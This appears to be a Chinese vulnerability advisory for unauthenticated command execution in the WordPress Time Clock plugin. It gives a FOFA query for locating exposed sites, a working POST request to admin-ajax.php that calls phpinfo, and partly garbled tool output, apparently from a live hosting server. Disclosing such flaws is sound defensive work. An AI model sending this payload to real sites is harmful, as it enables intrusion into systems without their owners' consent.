

WordPress Time Clock插件存在命令执行漏洞

漏洞描述

WordPress Time Clock插件 /wp-admin/admin-ajax.php存在命令执行漏洞，未经身份验证攻击者可执行系统命令，导致网站处于极度不安全状态。

影响版本

WordPress Time Clock插件

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/wp-content/plugins/time-clock/" || body="/wp-content/plugins/time-clock-pro/"

POC/EXP:

POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

function=phpinfo

发送请求

强制 HTTPS

历史

数据包扫描

热加载

构造请求

Request

1

POST /wp-admin/admin-ajax.php?action=etimeclockwp_load_function

2

HTTP/2

3

Host:

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3

5

Content-Type: application/x-www-form-urlencoded

6

Content-Length auto: 16

7

function=phpinfoa

Responses

89071bytes / 0ms

美化

渲染

详情



PHP Version 7.4.33

System

Linux p3plmcpnl499617.prod.phx3.secureserver.net 4.18.0-553.5.1.l

Build Date

Aug 26 2024 10:43:01

Configure Command

./configure '--disable-dependency-tracking' '--prefix=/usr' '--exec redhat-linux-gnu' '--host=x86_64-redhat-linux-gnu' '--target=x86_includedir=/opt/alt/php74/usr/include' '--libdir=/opt/alt/php74/us path=/opt/alt/php74/etc' '--with-config-file-scan-dir=/opt/alt/php '--with-mhash' '--with-password-argon2=/usr' '--with-pcre-jit' '--w dir=/opt/alt/pcre2' '--with-kerberos=/opt/alt/krb5/usr' '--with-apx: json=shared' '--enable-mbregex' '--enable-mbstring=shared' '--en sysvshm=shared' '--enable-sysvmsg=shared' '--enable-xmlreader= sqlite=shared,/opt/alt/sqlite/usr' '--with-pspell=shared' '--with-tidy '--with-ldap-sasl' '--with-pdo-dblib=shared,/opt/alt/freetds11/usr' gnu' 'target_alias=x86_64-redhat-linux-gnu' 'PKG_CONFIG_PATH=/opt/alt/curlssl11/usr/lib64/pkgconfig:/opt/al' 'KERBEROS_CFLAGS=-l/opt/alt/krb5/usr/include' 'KERBEROS_LIBS=

Server API

LiteSpeed V8.1 Cloudlinux 1.3

Virtual

Directory

disabled

Support

修复方案

关闭互联网暴露面或接口设置访问权限

升级至安全版本